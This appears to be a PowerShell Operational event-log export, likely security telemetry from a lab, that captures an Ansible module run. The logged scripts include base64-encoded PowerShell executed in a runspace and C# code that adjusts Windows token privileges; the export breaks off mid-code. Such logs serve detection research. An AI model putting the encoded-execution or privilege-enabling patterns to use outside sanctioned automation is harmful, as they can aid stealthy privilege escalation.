bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQd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lYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRXhpdENvZGUoSW50UHRyIHByb2Nlc3NIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBuZXcgTmF0aXZlV2FpdEhhbmRsZShwcm9jZXNzSGFuZGxlKS5XYWl0T25lKCk7CiAgICAgICAgICAgIHVpbnQgZXhpdENvZGU7CiAgICAgICAgICAgIGlmICghR2V0RXhpdENvZGVQcm9jZXNzKHByb2Nlc3NIYW5kbGUsIG91dCBleGl0Q29kZSkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIGdldHRpbmcgcHJvY2VzcyBleGl0IGNvZGUiKTsKICAgICAgICAgICAgcmV0dXJuIGV4aXRDb2RlOwogICAgICAgIH0KICAgIH0KfQoiQAoKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTdG9wJwoKRnVuY3Rpb24gTG9hZC1Db21tYW5kVXRpbHMgewogICAgIyBtYWtlcyB0aGUgZm9sbG93aW5nIHN0YXRpYyBmdW5jdGlvbnMgYXZhaWxhYmxl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hlIG1vZHVsZSBkZXZlbG9wZXIKICAgIHNvIHRoZXkgZG8gbm90IGhhdmUgdG8gY2hlY2sgZm9yIHRoZSBhdHRyaWJ1dGUgcHJpb3IgdG8gYWRkaW5nLgojPgogICAgaWYgKC1ub3QgJG9iai5Db250YWluc0tleSgiZGVwcmVjYXRpb25zIikpIHsKICAgICAgICAkb2JqLmRlcHJlY2F0aW9ucyA9IEAoKQogICAgfSBlbHNlaWYgKCRvYmouZGVwcmVjYXRpb25zIC1pc25vdCBbYXJyYXldKSB7CiAgICAgICAgdGhyb3cgIkFkZC1EZXByZWNhdGlvbldhcm5pbmc6IGRlcHJlY2F0aW9ucyBhdHRyaWJ1dGUgaXMgbm90IGEgbGlzdCIKICAgIH0KCiAgICAkb2JqLmRlcHJlY2F0aW9ucyArPSBAewogICAgICAgIG1zZyA9ICRtZXNzYWdlCiAgICAgICAgdmVyc2lvbiA9ICR2ZXJzaW9uCiAgICB9Cn0KCkZ1bmN0aW9uIEV4cGFuZC1FbnZpcm9ubWVudCgkdmFsdWUpCnsKPCMKICAgIC5TWU5PUFNJUwogICAgSGVscGVyIGZ1bmN0aW9uIHRvIGV4cGFuZCBlbnZpcm9ubWVudCB2YXJpYWJsZXMgaW4gdmFsdWVzLiBCeSBkZWZhdWx0CiAgICBpdCB0dXJucyBhbnkgdHlwZSB0byBhIHN0cmluZywgYnV0IHdlIGVuc3VyZSAkbnVsbCByZW1haW5zICRudWxsLgojPgogICAgaWYgKCRudWxsIC1uZSAkdmFsdWUpIHsKICAgICAgICBbU3lzdGVtLkVudmlyb25tZW50XTo6RXhwYW5kRW52aXJvbm1lbnRWYXJpYWJsZXMoJHZhbHVlKQogICAgfSBlbHNlIHsKICAgICAgICAkdmFsdWUKICAgIH0KfQoKRnVuY3Rpb24gR2V
ScriptBlock ID: 92683e74-6a82-479f-a40f-fb1f1df72271
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2138 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 1076 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:56 AM | 61e00a24-ee3b-0004-190c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3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gogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiRwcm9jZXNzX3V0aWwgPSBAIgp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mxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsaWMgTmF0aXZlV2FpdEhhbmRsZShJbnRQdHIgaGFuZGxlKQogICAgICAgIHsKICAgICAgICAgICAgdGhpcy5TYWZlV2FpdEhhbmRsZSA9IG5ldyBTYWZlV2FpdEhhbmRsZShoYW5kbGUsIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGNsYXNzIFdpbjMyRXhjZXB0aW9uIDogU3lzdGVtLkNvbXBvbmVudE1vZGVsLldpbjMyRXhjZXB0aW9uCiAgICB7CiAgICAgICAgcHJpdmF0ZSBzdHJpbmcgX21zZzsKCiAgICAgICAgcHVibGljIFdpbjMyRXhjZXB0aW9uKHN0cmluZyBtZXNzYWdlKSA6IHRoaXMoTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpLCBtZXNzYWdlKSB7IH0KCiAgICAgICAgcHVibGljIFdpbjMyRXhjZXB0aW9uKGludCBlcnJvckNvZGUsIHN0cmluZyBtZXNzYWdlKSA6IGJhc2UoZXJyb3JDb2RlKQogICAgICAgIHsKICAgICAgICAgICAgX21zZyA9IFN0cmluZy5Gb3JtYXQoInswfSAoezF9LCBXaW4zMkVycm9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HVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFe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mZvcm1hdGlvbihzdGRpbl93cml0ZSwgSGFuZGxlRmxhZ3MuSU5IRVJJVCwgMCkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIlNURElOIHBpcGUgaGFuZGxlIHNldHVwIGZhaWxlZCIpOwoKICAgICAgICAgICAgc2kuc3RhcnR1cEluZm8uaFN0ZE91dHB1dCA9IHN0ZG91dF93cml0ZTsKICAgICAgICAgICAgc2kuc3RhcnR1cEluZm8uaFN0ZEVycm9yID0gc3RkZXJyX3dyaXRlOwog
ScriptBlock ID: 92683e74-6a82-479f-a40f-fb1f1df72271
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2137 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 1076 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:56 AM | 61e00a24-ee3b-0004-190c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2136 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 3780 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:56 AM | 61e00a24-ee3b-0002-250c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3428 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2135 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 2892 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:56 AM | 61e00a24-ee3b-0002-250c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2134 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3428 | 3780 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:56 AM | 61e00a24-ee3b-0002-250c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
namespace Ansible.PrivilegeUtil
{
[Flags]
public enum PrivilegeAttributes : uint
{
Disabled = 0x00000000,
EnabledByDefault = 0x00000001,
Enabled = 0x00000002,
Removed = 0x00000004,
UsedForAccess = 0x80000000,
}
internal class NativeHelpers
{
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
public UInt32 LowPart;
public Int32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
internal struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public PrivilegeAttributes Attributes;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
}
internal class NativeMethods
{
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
[MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges,
IntPtr NewState,
UInt32 BufferLength,
IntPtr PreviousState,
out UInt32 ReturnLength);
[DllImport("kernel32.dll")]
internal static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32")]
internal static extern SafeWaitHandle GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool GetTokenInformation(
IntPtr TokenHandle,
UInt32 TokenInformationClass,
IntPtr TokenInformation,
UInt32 TokenInformationLength,
out UInt32 ReturnLength);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeName(
string lpSystemName,
ref NativeHelpers.LUID lpLuid,
StringBuilder lpName,
ref UInt32 cchName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out NativeHelpers.LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool OpenProcessToken(
SafeHandle ProcessHandle,
TokenAccessLevels DesiredAccess,
out IntPtr TokenHandle);
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class Privileges
{
private static readonly UInt32 TOKEN_PRIVILEGES = 3;
public static bool CheckPrivilegeName(string name)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, name, out luid))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 1313) // ERROR_NO_SUCH_PRIVILEGE
throw new Win32Exception(errCode, String.Format("LookupPrivilegeValue({0}) failed", name));
return false;
}
else
{
return true;
}
}
public static Dictionary<string, bool?> DisablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, false } });
}
public static Dictionary<string, bool?> DisableAllPrivileges(SafeHandle token)
{
return AdjustTokenPrivileges(token, null);
}
public static Dictionary<string, bool?> EnablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, true } });
}
public static Dictionary<String, PrivilegeAttributes> GetAllPrivilegeInfo(SafeHandle token)
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query, out hToken))
throw new Win32Exception("OpenProcessToken() failed");
Dictionary<String, PrivilegeAttributes> info = new Dictionary<String, PrivilegeAttributes>();
try
{
UInt32 tokenLength = 0;
NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, IntPtr.Zero, 0, out tokenLength);
NativeHelpers.LUID_AND_ATTRIBUTES[] privileges;
IntPtr privilegesPtr = Marshal.AllocHGlobal((int)tokenLength);
try
{
if (!NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, privilegesPtr, tokenLength, out tokenLength))
throw new Win32Exception("GetTokenInformation() for TOKEN_PRIVILEGES failed");
NativeHelpers.TOKEN_PRIVILEGES privilegeInfo = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(privilegesPtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[privilegeInfo.PrivilegeCount];
PtrToStructureArray(privileges, IntPtr.Add(privilegesPtr, Marshal.SizeOf(privilegeInfo.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(privilegesPtr);
}
info = privileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => p.Attributes);
}
finally
{
NativeMethods.CloseHandle(hToken);
}
return info;
}
public static SafeWaitHandle GetCurrentProcess()
{
return NativeMethods.GetCurrentProcess();
}
public static void RemovePrivilege(SafeHandle token, string privilege)
{
SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, null } });
}
public static Dictionary<string, bool?> SetTokenPrivileges(SafeHandle token, Dictionary<string, bool?> state)
{
NativeHelpers.LUID_AND_ATTRIBUTES[] privilegeAttr = new NativeHelpers.LUID_AND_ATTRIBUTES[state.Count];
int i = 0;
foreach (KeyValuePair<string, bool?> entry in state)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, entry.Key, out luid))
throw new Win32Exception(String.Format("LookupPrivilegeValue({0}) failed", entry.Key));
PrivilegeAttributes attributes;
switch (entry.Value)
{
case true:
attributes = PrivilegeAttributes.Enabled;
break;
case false:
attributes = PrivilegeAttributes.Disabled;
break;
default:
attributes = PrivilegeAttributes.Removed;
break;
}
privilegeAttr[i].Luid = luid;
privilegeAttr[i].Attributes = attributes;
i++;
}
return AdjustTokenPrivileges(token, privilegeAttr);
}
private static Dictionary<string, bool?> AdjustTokenPrivileges(SafeHandle token, NativeHelpers.LUID_AND_ATTRIBUTES[] newState)
{
bool disableAllPrivileges;
IntPtr newStatePtr;
NativeHelpers.LUID_AND_ATTRIBUTES[] oldStatePrivileges;
UInt32 returnLength;
if (newState == null)
{
disableAllPrivileges = true;
newStatePtr = IntPtr.Zero;
}
else
{
disableAllPrivileges = false;
// Need to manually marshal the bytes requires for newState as the constant size
// of LUID_AND_ATTRIBUTES is set to 1 and can't be overridden at runtime, TOKEN_PRIVILEGES
// always contains at least 1 entry so we need to calculate the extra size if there are
// nore than 1 LUID_AND_ATTRIBUTES entry
int tokenPrivilegesSize = Marshal.SizeOf(typeof(NativeHelpers.TOKEN_PRIVILEGES));
int luidAttrSize = 0;
if (newState.Length > 1)
luidAttrSize = Marshal.SizeOf(typeof(NativeHelpers.LUID_AND_ATTRIBUTES)) * (newState.Length - 1);
int totalSize = tokenPrivilegesSize + luidAttrSize;
byte[] newStateBytes = new byte[totalSize];
// get the first entry that includes the struct details
NativeHelpers.TOKEN_PRIVILEGES tokenPrivileges = new NativeHelpers.TOKEN_PRIVILEGES()
{
PrivilegeCount = (UInt32)newState.Length,
Privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[1],
};
if (newState.Length > 0)
tokenPrivileges.Privileges[0] = newState[0];
int offset = StructureToBytes(tokenPrivileges, newStateBytes, 0);
// copy the remaining LUID_AND_ATTRIBUTES (if any)
for (int i = 1; i < newState.Length; i++)
offset += StructureToBytes(newState[i], newStateBytes, offset);
// finally create the pointer to the byte array we just created
newStatePtr = Marshal.AllocHGlobal(newStateBytes.Length);
Marshal.Copy(newStateBytes, 0, newStatePtr, newStateBytes.Length);
}
try
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, out hToken))
throw new Win32Exception("OpenProcessToken() failed with Query and AdjustPrivileges");
try
{
IntPtr oldStatePtr = Marshal.AllocHGlobal(0);
if (!NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, 0, oldStatePtr, out returnLength))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 122) // ERROR_INSUFFICIENT_BUFFER
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed to get old state size");
}
// resize the oldStatePtr based on the length returned from Windows
Marshal.FreeHGlobal(oldStatePtr);
oldStatePtr = Marshal.AllocHGlobal((int)returnLength);
try
{
bool res = NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, returnLength, oldStatePtr, out returnLength);
int errCode = Marshal.GetLastWin32Error();
// even when res == true, ERROR_NOT_ALL_ASSIGNED may be set as the last error code
if (!res || errCode != 0)
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed");
// Marshal the oldStatePtr to the struct
NativeHelpers.TOKEN_PRIVILEGES oldState = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(oldStatePtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
oldStatePrivileges = new NativeHelpers.LUID_AND_ATTRIBUTES[oldState.PrivilegeCount];
PtrToStructureArray(oldStatePrivileges, IntPtr.Add(oldStatePtr, Marshal.SizeOf(oldState.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(oldStatePtr);
}
}
finally
{
NativeMethods.CloseHandle(hToken);
